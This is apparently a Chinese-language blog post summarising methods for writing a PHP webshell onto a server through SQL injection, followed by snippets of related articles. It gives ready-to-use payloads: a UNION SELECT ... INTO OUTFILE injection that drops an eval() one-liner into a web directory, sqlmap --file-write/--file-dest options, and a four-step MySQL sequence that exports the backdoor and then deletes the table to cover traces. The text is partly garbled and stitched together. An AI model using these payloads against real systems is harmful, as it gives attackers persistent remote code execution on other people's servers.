SQL注入寫WebShell方式小結

2021-09-02 21:40:12 字數 864 閱讀 6909

這裡小結一下通過sql注入寫入webshell的方法。

通過sql注入select into outfile實現,如:

1' union select 1,'<?php eval($_post[a]);?>' into outfile '/var/www/tmp/nb.php'#

前提都是需要對目標目錄具有寫許可權。

互動式命令執行,注意在使用互動式方式時需要知道**的絕對路徑,執行成功之後在絕對路徑

下建立檔案返回結果,然後再自動刪除。

寫webshell,會生成兩個檔案,tmpbshrd.php和tmpucnll.php,分別為命令執行和檔案上傳webshell。

注意:關閉sqlmap檔案就會被刪除。

先在sqlmap的目錄建立mst目錄,然後在該目錄中建立mst.txt,內容為一句話木馬,之後需要兩個引數即本地檔案位址和目標檔案位址,--file-write "./mst/mst.txt" --file-dest "**的絕對路徑/1.php"。

注意需要最高許可權。

mysql寫木馬,通常可以通過phpmyadmin來實現。

前提條件:有讀寫的許可權,有create、insert、select的許可權。

1、建立乙個表

create table a (cmd text not null);

2、插入資料

insert into a (cmd) values('<?php eval($_post['password']);?>');

3、匯出一句話

select cmd from a into outfile '/var/www/tmp/webshell.php';

4、刪除表

drop table if exists a;

SQL注入之匯出WebShell

已經聽n個人過說有人已經發現sql注入access得到webshell的技術了,也只是聽說而已,具體的細節還是不得而知。最近在看的書中一章提到jet的安全,然後靈光一閃,呵呵,發現了一種可以利用access匯出asp的方法,分享之。幾個月之前網上就流傳利用sql注入access匯出資料庫內容到文字檔...

利用SQL注入植入 webshell

這裡小結一下通過sql注入寫入webshell的方法。通過sql注入select into outfile實現,如 1 union select 1,into outfile var www tmp nb.php 前提都是需要對目標目錄具有寫許可權。互動式命令執行,注意在使用互動式方式時需要知道 的...

MySQL寫webshell的限制

作用 用於限制檔案的import export操作。參考 mysql 5.7.16引入。預設值與平台相關。可選值 1 由於預設情況下secure file priv為 var lib mysql files 不為 或者 所以不能寫入到任意目錄 解決方法 修改mysql配置檔案 etc mysql m...